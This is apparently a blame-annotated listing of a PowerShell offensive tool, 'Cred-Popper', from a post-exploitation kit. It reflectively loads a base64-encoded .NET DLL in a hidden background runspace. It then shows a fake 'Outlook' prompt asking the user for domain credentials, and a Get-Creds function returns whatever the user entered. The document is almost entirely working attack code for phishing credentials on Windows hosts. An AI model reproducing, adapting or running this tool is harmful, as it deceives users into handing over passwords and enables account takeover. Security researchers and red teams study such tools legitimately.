2018-10-01 12:32:24 +00:00
|
|
|
|
function Cred-Popper($title="Outlook", $caption="Please Enter Your Domain Credentials", $minlengthpassword=1) {
|
2018-07-23 08:55:15 +00:00
|
|
|
|
|
|
|
|
|
$scriptblock = @"
|
2018-10-01 12:32:24 +00:00
|
|
|
|
`$PS = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDADATslsAAAAAAAAAAOAAIiALATAAABIAAAAGAAAAAAAAMjAAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAOAvAABPAAAAAEAAAIgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAACoLgAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAOBAAAAAgAAAAEgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAIgDAAAAQAAAAAQAAAAUAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAGAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAUMAAAAAAAAEgAAAACAAUAgCEAACgNAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwCABgAAAAAQAAEQIKEgH+FQMAAAISAQZ9BwAABBIBA30GAAAEIMAABgAMFg0oDwAACnIBAABwKBAAAAooEQAAChMEcgUAAHATBRIBBhYRBBIFEgMIBCg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System.Reflection.Assembly]::Load(`$DllBytes)
|
|
|
|
|
`$sessionstate.log = [CredentialsPrompt]::CredPopper("$title", "$caption",$minlengthpassword)
|
2018-07-23 08:55:15 +00:00
|
|
|
|
"@
|
|
|
|
|
|
|
|
|
|
$global:sessionstate = [HashTable]::Synchronized(@{})
|
|
|
|
|
$sessionstate.log = New-Object System.Collections.ArrayList
|
|
|
|
|
|
|
|
|
|
$HTTP_runspace = [RunspaceFactory]::CreateRunspace()
|
|
|
|
|
$HTTP_runspace.Open()
|
|
|
|
|
$HTTP_runspace.SessionStateProxy.SetVariable('sessionstate',$sessionstate)
|
|
|
|
|
$HTTP_powershell = [PowerShell]::Create()
|
|
|
|
|
$HTTP_powershell.Runspace = $HTTP_runspace
|
|
|
|
|
$HTTP_powershell.AddScript($scriptblock) > $null
|
2018-10-01 12:32:24 +00:00
|
|
|
|
$HTTP_powershell.BeginInvoke() > $null
|
2018-07-23 08:55:15 +00:00
|
|
|
|
|
|
|
|
|
echo ""
|
|
|
|
|
echo "[+] Cred-Popper started in background runspace"
|
|
|
|
|
echo ""
|
|
|
|
|
echo "Run Get-Creds to obtain the output, when the user enters their credentials"
|
2018-10-01 12:32:24 +00:00
|
|
|
|
echo ""
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
2018-07-23 08:55:15 +00:00
|
|
|
|
function Get-Creds {
|
|
|
|
|
echo ""
|
|
|
|
|
"[+] Cred-Popper data:"
|
|
|
|
|
echo $sessionstate.log
|
|
|
|
|
}
|